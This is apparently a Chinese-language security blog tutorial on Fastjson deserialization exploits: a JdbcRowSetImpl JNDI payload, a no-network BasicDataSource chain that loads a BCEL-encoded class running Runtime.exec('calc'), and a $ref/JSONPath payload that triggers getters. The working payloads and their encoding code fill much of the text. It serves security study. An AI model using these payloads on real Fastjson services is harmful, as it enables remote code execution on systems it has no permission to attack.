# 0x01 JNDI 利用
JdbcRowSetImpl 中存在的 JNDI 注入
这里考虑 setAutoCommit
是个 set 方法
参数是布尔类型的
使用 Yakit 生成一个反连
构造 EXP
首先类名是 com.sun.rowset.JdbcRowSetImpl
也就是 @type
的值
接着是 .lookup
的参数 DataSourceName
也就是 rmi 或 ldap 的地址
最后是 AutoCommit
布尔型的参数
1 2 3 4 5 6 7 public class FastJsonJdbcRowSetImpl { public static void main (String[] args) throws Exception{ String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/ZhALlpnN\",\"AutoCommit\":false}" ; JSON.parseObject(s); } }
但是这种利用方式是需要出网的,并且有版本、依赖限制
下面来看一个可以本地利用的
# 0x02 不出网利用
fastjson≤1.2.24
条件: BasicDataSource
只需要有 dbcp
或 tomcat-dbcp
的依赖即可,dbcp 即数据库连接池,在 java 中用于管理数据库连接,还是挺常见的。
在 ClassLoader
存在一处 loadclass
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 protected Class loadClass (String class_name, boolean resolve) throws ClassNotFoundException { Class cl = null ; if ((cl=(Class)classes.get(class_name)) == null ) { for (int i=0 ; i < ignored_packages.length; i++) { if (class_name.startsWith(ignored_packages[i])) { cl = deferTo.loadClass(class_name); break ; } } if (cl == null ) { JavaClass clazz = null ; if (class_name.indexOf("$$BCEL$$" ) >= 0 ) clazz = createClass(class_name); else { if ((clazz = repository.loadClass(class_name)) != null ) { clazz = modifyClass(clazz); } else throw new ClassNotFoundException (class_name); } if (clazz != null ) { byte [] bytes = clazz.getBytes(); cl = defineClass(class_name, bytes, 0 , bytes.length); } else cl = Class.forName(class_name); } if (resolve) resolveClass(cl); } classes.put(class_name, cl); return cl; }
当类名是以 $$BCEL$$
开头,就会创建一个该类,并用 definclass 去调用
BCEL 提供两个类, Repository
和 Utility
Repository
用于将一个 Java Class
先转换成原生字节码,当然这里也可以直接使用 javac 命令来编译 java 文件生成字节码
Utility
用于将原生的字节码转换成 BCEL 格式的字节码
其中 createClass
方法中
有一处解密,所以我们需要加密一下
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 package org.example;import com.sun.org.apache.bcel.internal.Repository;import com.sun.org.apache.bcel.internal.classfile.JavaClass;import com.sun.org.apache.bcel.internal.classfile.Utility;import java.io.IOException;public class FastJsonBcel { public static void main (String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException { JavaClass javaClass = Repository.lookupClass(Evil.class); String encode = Utility.encode(javaClass.getBytes(), true ); System.out.println(encode); Class.forName("$$BCEL$$" + encode, true , new ClassLoader ()); } }
# 0x03 利用链
这次我们尝试以漏洞发现者的身份来看这条链子
首先是 org.apache.tomcat.dbcp.dbcp2.BasicDataSource#createConnectionFactory()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 protected ConnectionFactory createConnectionFactory () throws SQLException { Driver driverToUse = this .driver; if (driverToUse == null ) { Class<?> driverFromCCL = null ; if (driverClassName != null ) { try { try { if (driverClassLoader == null ) { driverFromCCL = Class.forName(driverClassName); } else { driverFromCCL = Class.forName(driverClassName, true , driverClassLoader); } } catch (final ClassNotFoundException cnfe) { driverFromCCL = Thread.currentThread().getContextClassLoader().loadClass(driverClassName); } } catch (final Exception t) { final String message = "Cannot load JDBC driver class '" + driverClassName + "'" ; logWriter.println(message); t.printStackTrace(logWriter); throw new SQLException (message, t); } } try { if (driverFromCCL == null ) { driverToUse = DriverManager.getDriver(url); } else { driverToUse = (Driver) driverFromCCL.getConstructor().newInstance(); if (!driverToUse.acceptsURL(url)) { throw new SQLException ("No suitable driver" , "08001" ); } } } catch (final Exception t) { final String message = "Cannot create JDBC driver of class '" + (driverClassName != null ? driverClassName : "" ) + "' for connect URL '" + url + "'" ; logWriter.println(message); t.printStackTrace(logWriter); throw new SQLException (message, t); } } final String user = userName; if (user != null ) { connectionProperties.put("user" , user); } else { log("DBCP DataSource configured without a 'username'" ); } final String pwd = password; if (pwd != null ) { connectionProperties.put("password" , pwd); } else { log("DBCP DataSource configured without a 'password'" ); } final ConnectionFactory driverConnectionFactory = new DriverConnectionFactory (driverToUse, url, connectionProperties); return driverConnectionFactory; }
我们来看关键部分
1 2 3 4 5 if (driverClassLoader == null ) { driverFromCCL = Class.forName(driverClassName); } else { driverFromCCL = Class.forName(driverClassName, true , driverClassLoader); }
若存在 driverClassLoader
则会对类进行初始化
这里的 driverClassName
和 driverClassLoader
都是可控的
这里就可以考虑将 driverClassLoader
的参数写为 com.sun.org.apache.bcel.internal.util.ClassLoader
接着
在 org.apache.tomcat.dbcp.dbcp2.BasicDataSource#createDataSource()
中调用了 createConnectionFactory()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 protected DataSource createDataSource () throws SQLException { if (closed) { throw new SQLException ("Data source is closed" ); } if (dataSource != null ) { return dataSource; } synchronized (this ) { if (dataSource != null ) { return dataSource; } jmxRegister(); final ConnectionFactory driverConnectionFactory = createConnectionFactory(); boolean success = false ; PoolableConnectionFactory poolableConnectionFactory; try { poolableConnectionFactory = createPoolableConnectionFactory(driverConnectionFactory); poolableConnectionFactory.setPoolStatements(poolPreparedStatements); poolableConnectionFactory.setMaxOpenPreparedStatements(maxOpenPreparedStatements); success = true ; } catch (final SQLException se) { throw se; } catch (final RuntimeException rte) { throw rte; } catch (final Exception ex) { throw new SQLException ("Error creating connection factory" , ex); } if (success) { createConnectionPool(poolableConnectionFactory); } DataSource newDataSource; success = false ; try { newDataSource = createDataSourceInstance(); newDataSource.setLogWriter(logWriter); success = true ; } catch (final SQLException se) { throw se; } catch (final RuntimeException rte) { throw rte; } catch (final Exception ex) { throw new SQLException ("Error creating datasource" , ex); } finally { if (!success) { closeConnectionPool(); } } try { for (int i = 0 ; i < initialSize; i++) { connectionPool.addObject(); } } catch (final Exception e) { closeConnectionPool(); throw new SQLException ("Error preloading the connection pool" , e); } startPoolMaintenance(); dataSource = newDataSource; return dataSource; } }
这里需要让
1 2 3 4 5 6 7 if (dataSource != null ) { return dataSource; } synchronized (this ) { if (dataSource != null ) { return dataSource; }
均为 false 才能调用
接着
在 org.apache.tomcat.dbcp.dbcp2.BasicDataSource#getConnection()
调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public Connection getConnection () throws SQLException { if (Utils.IS_SECURITY_ENABLED) { final PrivilegedExceptionAction<Connection> action = new PaGetConnection (); try { return AccessController.doPrivileged(action); } catch (final PrivilegedActionException e) { final Throwable cause = e.getCause(); if (cause instanceof SQLException) { throw (SQLException) cause; } throw new SQLException (e); } } return createDataSource().getConnection(); }
至此,链子的整体流程
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 package org.example;import com.alibaba.fastjson.JSON;public class FastJsonBcel { public static void main (String[] args) { String payload2 = "{\n" + " {\n" + " \"ki10\":{\n" + " \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" + " \"driverClassLoader\": {\n" + " \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" + " },\n" + " \"driverClassName\": \"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AuQ$cbN$db$40$U$3d$938$b1c$9c$e6A$D$94$a6o$k$81E$zPw$m6$V$95$aa$baM$d5$m$ba$9eL$a7a$82cG$f6$84$a6_$c4$3a$hZ$b1$e8$H$f0Q$88$3b$sM$pAG$f2$7d$ce9$f7$dc$f1$d5$f5$e5$l$Ao$b0$e1$c2$c1$b2$8b$V$3cr$b0j$fcc$hM$X$F$3c$b1$f1$d4$c63$86$e2$be$8a$94$3e$60$c8$b7$b6$8e$Z$ac$b7$f17$c9P$JT$q$3f$8d$G$5d$99$i$f1nH$95z$Q$L$k$k$f3D$99$7cZ$b4$f4$89J$Z$9a$81$88$H$fep$87$ff$dc$fd$a1$o$ff$3bOu$3f$8d$p$ff$f0L$85$7b$M$ce$be$I$a7C$Y$81$gA$9f$9fq_$c5$fe$fb$f6$e1X$c8$a1VqD$d7$ca$j$cd$c5$e9G$3e$cc$c8I$t$83$db$89G$89$90$ef$94$ZV2t$af$N$d6C$J$ae$8d$e7$k$5e$e0$r$a9$ma$c2$c3$x$ac1$y$de$c3$eda$j$$$c3$ea$ffE2T3$5c$c8$a3$9e$df$ee$f6$a5$d0$M$b5$7f$a5$_$a3H$ab$Bip$7bR$cf$92Fk$x$b8s$87$W$b1$e4X$K$86$cd$d6$5c$b7$a3$T$V$f5$f6$e6$B$9f$93X$c84$r$40eHM$9d$ad$7f$94p$ni$z$9b$7e$9c990$b3$y$d9$F$ca$7c$f2$8c$7ca$fb$X$d8$qk$7bd$8b$b7E$94$c9z$d3$f8$B$w$e4$jTg$60$9e$91$B$f5$df$c8$d5$f3$X$b0$be$9e$c3$f9$b0$7d$81$e2$q$ab$97$I$5b$40$3ec$5c$a2$c8$a0K$844$af$5d$s$96$gE$7f$t$94aQ$5e$a7l$91$3e$h$b9$c0$c6C$8b$g$8dL$d4$d2$N_$9f$94$o$82$C$A$A\"\n" + " }\n" + " }: \"Moc\"\n" + "}" ; JSON.parse(payload2); } }
需要注意的是
这里 poc 的嵌套
最后 JSON.parse
触发 key.toString()
整个 poc 都为 JSONObject
, value
为 Moc
然后判断是否是 JSON
对象,再去识别 key
和 value
调试过程中确实两次落在该断点
1 key = (key == null ) ? "null" : key.toString();
而在执行 toString () 时会将当前类转为字符串形式,会提取类中所有的 Field,执行相应的 getter 、is 等方法。因此也会执行 getConnection 方法
当然以上都是建立在 parse()
方法之上
如果 poc 是 parseObject()
,那就简单了,因为在处理过程中会调用所有的 setter 和 getter 方法。详细可以看 FastJson 反序列化基础
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 package org.example;import com.alibaba.fastjson.JSON;public class FastJsonBcel { public static void main (String[] args) { String s = "{\n" + " \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" + " \"driverClassLoader\": {\n" + " \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" + " },\n" + " \"driverClassName\": \"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AuQ$cbN$db$40$U$3d$938$b1c$9c$e6A$D$94$a6o$k$81E$zPw$m6$V$95$aa$baM$d5$m$ba$9eL$a7a$82cG$f6$84$a6_$c4$3a$hZ$b1$e8$H$f0Q$88$3b$sM$pAG$f2$7d$ce9$f7$dc$f1$d5$f5$e5$l$Ao$b0$e1$c2$c1$b2$8b$V$3cr$b0j$fcc$hM$X$F$3c$b1$f1$d4$c63$86$e2$be$8a$94$3e$60$c8$b7$b6$8e$Z$ac$b7$f17$c9P$JT$q$3f$8d$G$5d$99$i$f1nH$95z$Q$L$k$k$f3D$99$7cZ$b4$f4$89J$Z$9a$81$88$H$fep$87$ff$dc$fd$a1$o$ff$3bOu$3f$8d$p$ff$f0L$85$7b$M$ce$be$I$a7C$Y$81$gA$9f$9fq_$c5$fe$fb$f6$e1X$c8$a1VqD$d7$ca$j$cd$c5$e9G$3e$cc$c8I$t$83$db$89G$89$90$ef$94$ZV2t$af$N$d6C$J$ae$8d$e7$k$5e$e0$r$a9$ma$c2$c3$x$ac1$y$de$c3$eda$j$$$c3$ea$ffE2T3$5c$c8$a3$9e$df$ee$f6$a5$d0$M$b5$7f$a5$_$a3H$ab$Bip$7bR$cf$92Fk$x$b8s$87$W$b1$e4X$K$86$cd$d6$5c$b7$a3$T$V$f5$f6$e6$B$9f$93X$c84$r$40eHM$9d$ad$7f$94p$ni$z$9b$7e$9c990$b3$y$d9$F$ca$7c$f2$8c$7ca$fb$X$d8$qk$7bd$8b$b7E$94$c9z$d3$f8$B$w$e4$jTg$60$9e$91$B$f5$df$c8$d5$f3$X$b0$be$9e$c3$f9$b0$7d$81$e2$q$ab$97$I$5b$40$3ec$5c$a2$c8$a0K$844$af$5d$s$96$gE$7f$t$94aQ$5e$a7l$91$3e$h$b9$c0$c6C$8b$g$8dL$d4$d2$N_$9f$94$o$82$C$A$A\"\n" + " }" ; JSON.parseObject(s); } }
上面我们说了那么多,基本已经走完了流程,但还有个问题,这里的 driverClassName
后面的值是什么
可能还要到 com.sun.org.apache.bcel.internal.util.ClassLoader
去找答案
这里我们说,我们是通过 loadClass
下重写的方法来执行的,其中有个 defiClass
显然是通过字节码来实现的。再回过头看 createClass
中的 Utility.*decode*
这里我们还原一下内容
1 2 3 4 5 6 7 8 public class BCELDecode { public static void main (String[] args) throws IOException { String encode = "$l$8b$I$A$A$A$A$A$A$A..." ; byte [] decode = Utility.decode(encode,true ); FileOutputStream fileOutputStream = new FileOutputStream ("DecodeClass.class" ); fileOutputStream.write(decode); } }
得到 DecodeClass.class
实际上就是静态方法里面执行弹计算器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 package com.p1ay2win.fastjson;import java.io.IOException;public class Evil { public Evil () { } static { try { Runtime.getRuntime().exec("calc" ); } catch (IOException var1) { var1.printStackTrace(); } } }
# 0x04 $ref
fastjson≥1.2.36
这里我们要讨论的问题就是上面 JSON.parse()
和 JSON.parseObect()
这两种不同方法调用的问题
这里给出另一种解决方法
JSONPath
添加依赖
1 2 3 4 5 <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2 .36 </version> </dependency>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 package org.example;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class TestCalc { public static void main (String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String payload = "[{\"@type\":\"org.example.Test\",\"cmd\":\"calc\"},{\"$ref\":\"$[0].cmd\"}]" ; Object o = JSON.parse(payload); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 package org.example;import java.io.IOException;public class Test { private String cmd; public String getCmd () throws IOException { Runtime.getRuntime().exec(cmd); return cmd; } public void setCmd (String cmd) { this .cmd = cmd; } }
首先就是我们要弄清该 payload
,就需要知道 [{\"@type\":\"org.example.Test\",\"cmd\":\"calc\"},{\"$ref\":\"$[0].cmd\"}]
ref 的作用
打上断点来 debug 下
首先是 handleResovleTask
这里是处理 refvalue
的地方
首先判断是否是开头,然后获取对象,最后确定 r e f : ‘ 开头,然后获取对象,最后确定ref:` 开 头 , 然 后 获 取 对 象 , 最 后 确 定 r e f : ‘ [0].cmd`
$[0]
表示的是数组里的第一个元素,则 $[0].cmd
表示的是获取第一个元素的 cmd 属性的值。
来看 getObject()
获取数组,第 0 个位 $
,第 1 个为 $[0]
并返回该对象
下面是 JSONPath.eval()
继续跟进 compile()
这里路径不为空,不会抛出异常
接着跟进 eval
下的 init()
这里 segments 为空,继续往下走
在调用 parser.explain()
方法前 segments
为空
Segement[]
初始长度为 8,因为其接口一共有 8 个
这里 segment
值就变成了 JSONPath
循环追加到 StringBuilder
后面
然后按顺序执行前面 explain
() 生成的 Segment array
最终在 getPropertyValue()
反射调用 get()
至此,就完成了不使用 JSON.parseObect()
也能调用 get()
的方法
最后可以看下 Y4 师傅的
[Java 安全] Fastjson>=1.2.36$ref 引用可触发 get 方法分析_Y4tacker 的博客 - CSDN 博客_fastjson get 方法
# 0x05 参考
[Java 安全] Fastjson>=1.2.36$ref 引用可触发 get 方法分析_Y4tacker 的博客 - CSDN 博客_fastjson get 方法
fastjson 不出网学习 - R0ser1 - 博客园 (cnblogs.com)
FastJson 反序列化之 BasicDataSource 利用链 – cc (ccship.cn)
fastjson 不出网利用简析 - P1ay2win’s blog (play2win.top)